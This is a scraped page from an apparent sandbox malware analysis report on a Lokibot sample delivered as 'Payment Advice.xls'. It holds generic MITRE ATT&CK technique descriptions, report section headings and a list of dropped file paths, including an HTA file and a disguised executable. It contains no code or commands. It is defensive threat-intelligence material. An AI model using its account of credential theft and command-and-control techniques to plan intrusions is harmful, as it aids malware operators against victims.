Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment Advice.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Lokibot

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\greetingwithgreatthignsgivenbackwithentireprocessgivenmeback[1].hta

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2B39E307.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5987A0CE.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\68BFBA8B.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A869FC32.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EDA2DB10.emf

Windows Analysis Report
Payment Advice.xls

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre